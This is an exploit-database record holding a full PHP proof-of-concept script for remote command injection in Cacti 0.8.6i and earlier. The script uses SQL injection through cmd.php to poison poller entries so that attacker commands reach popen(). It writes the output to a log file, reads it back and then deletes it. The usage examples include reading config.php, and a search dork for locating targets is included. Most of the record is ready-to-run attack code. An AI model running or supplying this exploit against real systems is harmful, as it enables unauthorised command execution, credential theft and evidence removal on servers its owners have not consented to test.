Description
No description provided by source.
{"href": "https://www.seebug.org/vuldb/ssvid-64367", "status": "poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "Cacti <= 0.8.6i cmd.php popen() Remote Injection Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-64367", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2014-07-01T00:00:00", "sourceData": "\n <?php\r\nprint_r('\r\n--------------------------------------------------------------------------------\r\nCacti <= 0.8.6i "cmd.php" popen() injection\r\nby rgod\r\ndork: intitle:"login to cacti"\r\nmail: retrog at alice dot it\r\nsite: http://retrogod.altervista.org\r\n--------------------------------------------------------------------------------\r\n');\r\n\r\nif ($argc<4) {\r\n print_r('\r\n--------------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host path cmd OPTIONS\r\nhost: target server (ip/hostname)\r\npath: path to Cacti\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' localhost /cacti/ ls -la -P1.1.1.1:80\r\nphp '.$argv[0].' localhost / cat ./include/config.php -p81\r\n--------------------------------------------------------------------------------\r\n');\r\n die;\r\n}\r\nerror_reporting(0);\r\nini_set("max_execution_time",0);\r\nini_set("default_socket_timeout",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=" .";}\r\n else\r\n {$result.=" ".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=" ".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=" 0".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.="\\r\\n"; $exa.="\\r\\n";}\r\n }\r\n return $exa."\\r\\n".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\n\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\\r\\n";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n}\r\n\r\n$host=$argv[1];\r\n$path=$argv[2];\r\n$port=80;\r\n$proxy="";\r\n$cmd="";\r\nfor ($i=3; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>"-p")\r\nand ($temp<>"-P")\r\n) {$cmd.=" ".$argv[$i];}\r\nif ($temp=="-p")\r\n{\r\n $port=str_replace("-p","",$argv[$i]);\r\n}\r\nif ($temp=="-P")\r\n{\r\n $proxy=str_replace("-P","",$argv[$i]);\r\n}\r\n}\r\nif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}\r\nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}\r\n\r\nfunction my_encode($my_string)\r\n{\r\n $encoded="CHAR(";\r\n for ($k=0; $k<=strlen($my_string)-1; $k++)\r\n {\r\n $encoded.=ord($my_string[$k]);\r\n if ($k==strlen($my_string)-1) {$encoded.=")";}\r\n else {$encoded.=",";}\r\n }\r\n return $encoded;\r\n}\r\n/*\r\nsoftware site: http://cacti.net/\r\n\r\nthe cmd.php is not properly protected:\r\n\r\n...\r\nif (!isset($_SERVER["argv"][0])) {\r\n\tdie("<br><strong>This script is only meant to run at the command line.</strong>");\r\n}\r\n...\r\n\r\nif register_argc_argv = on, you can have web access, poc:\r\n\r\nhttp://[target]/[path]/cmd.php?1\r\n\r\nnow you can inject sql commands, ex. in this query:\r\n\r\n...\r\n\t\t\t$polling_items = db_fetch_assoc("SELECT * from poller_item " .\r\n\t\t\t\t\t"WHERE (host_id >= " .\r\n\t\t\t\t\t$_SERVER["argv"][1] .\r\n\t\t\t\t\t" and host_id <= " .\r\n\t\t\t\t\t$_SERVER["argv"][2] . ") ORDER by host_id");\r\n...\r\n\r\nand you can poison the $polling_items array that becomes like this:\r\n\r\nArray\r\n(\r\n [0] => Array\r\n (\r\n [local_data_id] => 2\r\n [poller_id] => 0\r\n [host_id] => 1\r\n [action] => 1\r\n [hostname] => 127.0.0.1\r\n [snmp_community] =>\r\n [snmp_version] => 1\r\n [snmp_username] =>\r\n [snmp_password] =>\r\n [snmp_port] => 161\r\n [snmp_timeout] => 500\r\n [rrd_name] => proc\r\n [rrd_path] =>\r\n [rrd_num] => 1\r\n [rrd_step] => 300\r\n [rrd_next_step] => 0\r\n [arg1] => [your command]\r\n [arg2] =>\r\n [arg3] =>\r\n )\r\n\r\n)\r\n\r\n$polling_items[arg1] is passed to a popen() call in /include/poller.php,\r\nsee exec_poll() function...\r\n\r\nyou do not have any output but you can redirect it to some file in /rra\r\nor /log folder which is 'cactiuser''\r\n\r\n*/\r\n\r\n$command=my_encode($cmd." > ./rra/suntzu.log");\r\n$h=my_encode("127.0.0.1");\r\n$pr=my_encode("proc");\r\n$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";\r\n$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpacketii($packet);\r\nsleep(2);\r\n\r\n$packet ="GET ".$p."rra/suntzu.log HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpacketii($packet);\r\necho $html;\r\n\r\n$command=my_encode("rm ./rra/suntzu.log");\r\n$sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*";\r\n$packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpacketii($packet);\r\n\r\n?>\r\n\r\n# milw0rm.com [2006-12-27]\r\n\n ", "id": "SSV:64367", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T15:11:13", "reporter": "Root", "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645555709, "score": 1659785532}}
{}